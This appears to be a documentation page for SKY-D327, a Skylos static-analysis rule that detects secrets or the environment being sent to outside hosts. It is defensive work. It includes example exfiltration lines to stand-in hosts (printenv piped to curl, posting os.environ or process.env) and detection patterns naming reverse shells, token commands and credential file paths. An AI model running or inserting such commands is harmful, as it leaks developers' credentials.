SKY-D327 · Security in code
Secrets or environment sent to an outside host
Data exfiltration means copying secrets off the machine. SKY-D327 reports a command or HTTP call that sends the whole environment, a token printed by a CLI, a credential file or a secret-named variable to a host that is not the local machine.
- Languages
- Shell, GitHub Actions, GitLab CI, Dockerfile, Python, TypeScript/JavaScript
- Quality gate
- counted toward the gate limits; a CRITICAL finding fails the gate on its own (full and diff scans)
- Finding type
- review
- Catalog name
- Shell or agent data exfiltration
Why it matters
CI runners and developer laptops hold cloud keys, registry tokens and .env files. One printenv | curl … @- in a build script, or a dependency's crash reporter that posts os.environ, hands all of them to whoever runs the receiving server.
What Skylos flags
#!/usr/bin/env bash# Collect build details for a support ticket.set -euo pipefail echo "node $(node --version), npm $(npm --version)"printenv | curl -s -X POST https://paste.example.dev/upload --data-binary @-What Skylos leaves alone
#!/usr/bin/env bash# Collect build details for a support ticket.set -euo pipefail { echo "node $(node --version), npm $(npm --version)" uname -srm} > support-bundle.txtcurl -s -X POST https://paste.example.dev/upload --data-binary @support-bundle.txtWhy Skylos leaves it alone
The upload sends a file the script wrote itself, holding only tool versions. Nothing that dumps the environment, prints a token or reads a credential file feeds the upload, the file name is not a credential file, and no secret-named variable appears in the curl command.
More languages
Python
Flagged
import os import requests def send_crash_report(error: str) -> None: requests.post( "https://crash-reports.example.dev/api/report", json={"error": error, "env": dict(os.environ)}, timeout=10, )Not flagged
import os import requests def send_crash_report(error: str) -> None: requests.post( "https://crash-reports.example.dev/api/report", headers={"Authorization": f"Bearer {os.environ['CRASH_API_KEY']}"}, json={"error": error}, timeout=10, )Why Skylos leaves it alone
The API key travels in a header to the service it belongs to. Skylos only looks for os.environ in the data= and json= payload and for credential files opened in files=.
TypeScript
Flagged
export async function sendCrashReport(error: Error): Promise<void> { await fetch("https://crash-reports.example.dev/api/report", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ message: error.message, env: process.env }), });}Not flagged
export async function sendCrashReport(error: Error): Promise<void> { await fetch("https://crash-reports.example.dev/api/report", { method: "POST", headers: { "Content-Type": "application/json", Authorization: `Bearer ${process.env.CRASH_API_KEY}`, }, body: JSON.stringify({ message: error.message }), });}Why Skylos leaves it alone
process.env appears only in the headers. Skylos reads the request body (body for fetch, data for axios) and treats headers as the normal way an API key reaches its own API.
How Skylos decides
- Reads shell commands in
.sh,.bash,.zsh,.kshand.batsfiles (one statement at a time), GitHub Actionsrun:steps (workflows and composite actions), GitLab CIscript,before_script,after_scriptandpre_get_sources_scriptitems, DockerfileRUNinstructions, fixed command strings in Pythonos.system(),os.popen(),subprocess.getoutput()or asubprocesscall withshell=True, and fixed strings passed tochild_process.exec()in TypeScript and JavaScript. - Splits each command at
;,&&,||and|. In a pipeline, a sensitive source followed by an upload to an outside host is reported. Sources are environment dumps (printenv,env,set,declare,typeset, bareexport), token commands (gh auth token,gcloud auth print-access-token,op item get,npm token,aws configure getof a secret or token) and readers such ascat,grep,base64ortarof a credential file. Uploads arenc,socat,ssh,scp,sftp,ftporrsync,curlwith a data, form or upload flag that reads standard input (-d @-,-F f=@-,-T -) andwget --post-file=-. - Also reports, without a pipe:
curlorwgetuploading a credential file (-d @.env,-F file=@.env.local);scp,sftporrsynccopying one to a remote host; any network command whose arguments hold a variable whose name containsTOKEN,SECRET,PASSWORD,PASS,API_KEY,PRIVATE_KEY,ACCESS_KEY,CREDENTIALorOAUTH; and reverse shells (/dev/tcp/host/port,nc -e sh,socat … exec:sh). - A credential file is
.envand.env.*,*.env,.envrc,.netrc,.npmrc,.pypirc,.git-credentials,credentials,auth.json,config.json,id_rsa,id_ed25519,known_hosts, a.key,.pem,.p12or.pfxfile, or anything under.ssh/,.aws/,.azure/,.kube/,.claude/,.codex/,.config/gh/,.docker/config.jsonor/run/secrets/. - Skips destinations that are not outside:
http://localhost,127.0.0.1and0.0.0.0URLs. A host counts as outside when the command has any otherhttp(s)://URL or ahost:path/user@host:pathargument. - In Python, also reports
requestsorhttpxpost(),put(),patch()(orrequest()with one of those methods) whosedata=orjson=containsos.environ, or whosefiles=opens a credential file, unless the URL is a fixed local address. This check, and the fixed-command check above, only run in files whose text contains.env,curl,os.environ,printenv,requests,subprocessorhttpx. - In TypeScript and JavaScript, also reports a
fetchwith a literalPOST,PUTorPATCHmethod,axios.post/put/patch,axios.requestoraxios({method, url, data})whose body readsprocess.env, unless the URL is local or onlyNEXT_PUBLIC_names are read. Every finding is CRITICAL.
How to fix it
Upload only what the receiver needs: write the chosen values to a file and send that file, or name the variables one by one. If a secret really must reach another service, send it in a header to the service it belongs to, not as the payload of a debug or paste endpoint.
#!/usr/bin/env bash# Collect build details for a support ticket.set -euo pipefail Removed: echo "node $(node --version), npm $(npm --version)"Removed: printenv | curl -s -X POST https://paste.example.dev/upload --data-binary @-Added: echo "node $(node --version), npm $(npm --version)" > support-bundle.txtAdded: curl -s -X POST https://paste.example.dev/upload --data-binary @support-bundle.txtWhen it can be wrong
- In shell, CI and Dockerfile commands, a secret-named variable is reported wherever it appears in a network command, including the normal
curl -H "Authorization: Bearer $OPENAI_API_KEY" https://api.openai.com/…. The Python and TypeScript checks ignore headers; the shell check does not. - Template and example files count as credential files by name: uploading
.env.exampleor aconfig.jsonis reported. Copying a real.envto your own server withscpis reported too. - In Python, one harmless value such as
json={"release": os.environ.get("RELEASE")}is enough to report the call: anyos.environread inside the payload counts. - Missed:
ssh user@hostwithout a:pathis not recognised as an outside host, and in a GitHub Actionsrun: |block, or a multi-line GitLab item, the block is split only at;,&&,||and|, not at line breaks, so a pipeline that starts on a later line is read as arguments of the first command and is not reported.
Seeing a case that isn't listed here? Report the wrong result so the rule can be fixed. Don't paste company code: describe the shape of it.
How to silence it
In a shell script, put the marker on the reported line, as a real comment. In GitHub Actions, GitLab CI and Dockerfiles the marker may also sit on the line directly above, with exactly one rule per marker.
Shell scp .env deploy@app1:/srv/app/.env # skylos: ignore[SKY-D327] our own server[tool.skylos] ignore = ["SKY-D327"]turns the rule off for the whole project, which also hides a real exfiltration added later.